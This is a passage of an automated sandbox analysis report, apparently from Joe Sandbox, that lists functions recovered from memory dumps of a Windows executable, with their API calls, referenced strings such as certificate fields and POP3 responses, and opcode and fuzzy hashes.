free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55E94
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EBE
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55ED2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EE6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55EFA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55F0E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D55F22

Part of subcall function 00007FF747D7EE20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D55F3B,?,?,00000000,00007FF747D51983,?,?,00000000,00007FF747D51F05), ref: 00007FF747D7EE35

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cc701dd807a2de35d7b90ce0a0f5c20ef81b97b0dbdd88433eb2069ca0843ede
Instruction ID: b279a241ecc061e0271f07c04c087d24c71992493b26924495ffd4ad7a40e2a1
Opcode Fuzzy Hash: cc701dd807a2de35d7b90ce0a0f5c20ef81b97b0dbdd88433eb2069ca0843ede
Instruction Fuzzy Hash: 9D11B036518F80C1D710AF61E9941E873B4FBC9FCAB680531DE9A8F798CF388096C620

Function 00007FF747D4B0C0 Relevance: 10.0, APIs: 8, Instructions: 23COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0CD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B0FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B109
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B113

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 76dd59e71e33e2bcc016bbdad4e6cf1ec256d42fdf36b4fa1aa37c38543d4c45
Instruction ID: 41049821241373f74e5b43d28e547d01b25a5e3b53fccb17bdb45bf3987791bb
Opcode Fuzzy Hash: 76dd59e71e33e2bcc016bbdad4e6cf1ec256d42fdf36b4fa1aa37c38543d4c45
Instruction Fuzzy Hash: D5F0F966A6C901C2D724BFA2E8541386330FB88F85B641531CD6E563ACCE2CD856D764

Function 00007FF747D3C610 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D3C6FA
memcpy.VCRUNTIME140 ref: 00007FF747D3C709
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3C73D
memcpy.VCRUNTIME140 ref: 00007FF747D3C744
memcpy.VCRUNTIME140 ref: 00007FF747D3C753
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D3C778

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 0937b708e2fe17d654e00c07f550e58b69d54d58ae64189525f92fa438c7aa15
Instruction ID: eb3e345f0d20f0691c4fd1dec59fa33ee2c6c60139c3765e0c9caa13afd3b583
Opcode Fuzzy Hash: 0937b708e2fe17d654e00c07f550e58b69d54d58ae64189525f92fa438c7aa15
Instruction Fuzzy Hash: FC31C3A272D742C6EE14BB16A5041A8E255AB04BE0FD44B31DEAD077D5DF3CE096CB50

Function 00007FF747D34EC0 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF747D33C35,?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D34FB3
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF747D33C35,?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D34FC1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,0000000F,00007FF747D33C35,?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D34FFA
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF747D33C35,?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D35004
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF747D33C35,?,?,?,?,?,00007FF747D31D9B), ref: 00007FF747D35012
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D35041

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 13b12c59ad332770c5e2ef552953df7cc1051dc384361dca5f05cbda1b42f09a
Instruction ID: 733544119957dc20eeb099098cb63d55f407c773c9cd5dca797ae1b6caab5b01
Opcode Fuzzy Hash: 13b12c59ad332770c5e2ef552953df7cc1051dc384361dca5f05cbda1b42f09a
Instruction Fuzzy Hash: 0A41C46272D682C6EE24BF56A50426DE751BB04BE4F984730DF6D0B7C5DE3CE0428750

Function 00007FF747D59110 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32 ref: 00007FF747D591F5
VerSetConditionMask.KERNEL32 ref: 00007FF747D59204
VerSetConditionMask.KERNEL32 ref: 00007FF747D59216
VerSetConditionMask.KERNEL32 ref: 00007FF747D59228
VerSetConditionMask.KERNEL32 ref: 00007FF747D5923E
VerifyVersionInfoA.KERNEL32 ref: 00007FF747D59251

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 0bb4b56c4cc27db388f41d9e992b02de2c6f235a1dc9b89760d7901d9c668bf9
Instruction ID: d8fac04d20e59ab86d36fa58662eb7b5b02a6b0e0bd10de6a797cc0ec640b689
Opcode Fuzzy Hash: 0bb4b56c4cc27db388f41d9e992b02de2c6f235a1dc9b89760d7901d9c668bf9
Instruction Fuzzy Hash: 3D41BA22E2D692C7E630AB11A414BBAF350FBD6344F925335E9CD02B54DE3CE4869F20

Function 00007FF747D8821F Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 1294909896-2901970132
Opcode ID: f06e59eeaae8cef8ada80270bc3da1753f3d925e9ea74eb361696e54cb589952
Instruction ID: e56c682ba69b6c4085a5cc4b1ec765a44902e4239c5ca02b8c77535f691bc485
Opcode Fuzzy Hash: f06e59eeaae8cef8ada80270bc3da1753f3d925e9ea74eb361696e54cb589952
Instruction Fuzzy Hash: B341A462A2C781C9EB14BB6195041F9A761BF05BD8F894631DE5E1B789EF3CE106C720

Function 00007FF747D876AF Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 1294909896-517259162
Opcode ID: eb71e361cb7bb7c5c670ba90f5c307ba5558737232c48933c27f903f0aa1aeed
Instruction ID: ac0a21541b62335c181aa7f8ac611ed74c81fa2e994bbcfb8314e6ea74a11b46
Opcode Fuzzy Hash: eb71e361cb7bb7c5c670ba90f5c307ba5558737232c48933c27f903f0aa1aeed
Instruction Fuzzy Hash: 8C41C661B2C782C9EB14FB6295041F9A761BF05BC8F894631CE5E1B799DE3CE142C720

Function 00007FF747D8E160 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E209
memcpy.VCRUNTIME140 ref: 00007FF747D8E225
memcpy.VCRUNTIME140 ref: 00007FF747D8E23C
memcpy.VCRUNTIME140 ref: 00007FF747D8E257
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8E28A

Strings

PLAIN, xrefs: 00007FF747D8E16B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$freemalloc
String ID: PLAIN
API String ID: 3313557100-4000620671
Opcode ID: 7aa8b1226e8794902b3a7c6f13b299fd038e878eeaebd1f4d39a8c2478d064d5
Instruction ID: 4ff38f8b2dca966a805bfa243a01f6b7323de402ff98914159101521a5f6f06f
Opcode Fuzzy Hash: 7aa8b1226e8794902b3a7c6f13b299fd038e878eeaebd1f4d39a8c2478d064d5
Instruction Fuzzy Hash: E531C766A1CB81C2EB10AF65E4403A9A790FB45BE8F858735DEAC477D5DE3CD046CB20

Function 00007FF747D87F95 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 1294909896-2901970132
Opcode ID: d0c4e00c47ee3360ed2ac029bdbd6d24406b99e1f2b9c97bef61e0dd94b29b23
Instruction ID: 7062bf02d9866a4a8de00477e255c0b31db6b641e9e62d4a263ac5136e44aee6
Opcode Fuzzy Hash: d0c4e00c47ee3360ed2ac029bdbd6d24406b99e1f2b9c97bef61e0dd94b29b23
Instruction Fuzzy Hash: 6A319461A2C782C9EB14BB6195001F9A7A1BF057C8FC50A31DE5E1B799EF3CE106CB20

Function 00007FF747D70241 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 85stringCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D702C6
memcpy.VCRUNTIME140 ref: 00007FF747D702E1
strchr.VCRUNTIME140 ref: 00007FF747D702FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7030E

Strings

Got unexpected pop3-server response, xrefs: 00007FF747D70261
CAPA, xrefs: 00007FF747D70324

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: callocfreememcpystrchr
String ID: CAPA$Got unexpected pop3-server response
API String ID: 2887963327-1591402739
Opcode ID: b1d3e936dd382e64101da7c55902cb61b4af86ecf09ec8689194697eb391ecd8
Instruction ID: 3d2e0fd3e0745f9806a4446ef57406e10bfa4d00df9956ed269b6dd00e6a85c8
Opcode Fuzzy Hash: b1d3e936dd382e64101da7c55902cb61b4af86ecf09ec8689194697eb391ecd8
Instruction Fuzzy Hash: 6231B3A2B2D782D2FA55BB9595002B9A390BB45794FC40B35CA1E0B3D1DF3CE466CB21

Function 00007FF747D87FE6 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D89110: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8915C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3061335427-2901970132
Opcode ID: 4d427e1f30d5a391f89b43e81b84bcd4672e43ef37116d2b3609367e89548b99
Instruction ID: 832d433043d6a2e7fd087c245d85d67a0a7b38d28c434eef0f71c715d5a9872a
Opcode Fuzzy Hash: 4d427e1f30d5a391f89b43e81b84bcd4672e43ef37116d2b3609367e89548b99
Instruction Fuzzy Hash: 2A318461A2C781C9EB14BB6195041F9A7A1BF057C8FC50A35DE5E1B799EF3CE106CB20

Function 00007FF747D87FB3 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D8AC20: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8AC55

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freemalloc
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3061335427-2901970132
Opcode ID: 45ec44654f83844e4bdd7469c646499786ef12c6f28734da3caf99f7d0388d96
Instruction ID: 75a1efdf8a08bd0aec2324dd3c5de9abf9289b3c143dc8d6e9485c2d5acc97fa
Opcode Fuzzy Hash: 45ec44654f83844e4bdd7469c646499786ef12c6f28734da3caf99f7d0388d96
Instruction Fuzzy Hash: CE318461A2C781C9EB14BB6195001F9A7A1BF057C8FC50A35DE5E1B799EF3CE106C720

Function 00007FF747D88550 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

%s%lx, xrefs: 00007FF747D885AD
Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$%s%lx$Signature
API String ID: 2190258309-1406629954
Opcode ID: 3a8dd7c126c2bb8997d435d8e9448206225087e5cb925a77442ceabf54e7fb7f
Instruction ID: ef14afae1ac085a73197759a5cd4a74ab57ad3235d9d8446a230b30791edab8d
Opcode Fuzzy Hash: 3a8dd7c126c2bb8997d435d8e9448206225087e5cb925a77442ceabf54e7fb7f
Instruction Fuzzy Hash: 25318362B2C682C6EE20BB25E4442B9A361FF45BC4F950631DE5D17755EF2DE006CB20

Function 00007FF747D785E0 Relevance: 9.1, APIs: 6, Instructions: 80COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D785F1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7865D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7866F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupcallocfree
String ID:
API String ID: 1236595397-0
Opcode ID: b39798a8aef06ed82c566a2d88ee447f92a66763dc49ba57baf9da5a54a9cb28
Instruction ID: 159897bde01bd1e2ebd2746ba7fd738315f75fc48009638451144bdf6f0badc2
Opcode Fuzzy Hash: b39798a8aef06ed82c566a2d88ee447f92a66763dc49ba57baf9da5a54a9cb28
Instruction Fuzzy Hash: 4F31A432A1CB85C2EB51EB15E0503BDA7A0FB85B89F984131DE8D0B795DF3DD4968B20

Function 00007FF747D87451 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 80COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 1294909896-517259162
Opcode ID: 8ff51399e34fb18bdfa4065b559064d0e27037ba38114c71594b9cf6c5c9ea19
Instruction ID: 715014b762c50ba64ff3e73aa3b9f9b8c84ef6ff49b4df32416d9f789bc87fc0
Opcode Fuzzy Hash: 8ff51399e34fb18bdfa4065b559064d0e27037ba38114c71594b9cf6c5c9ea19
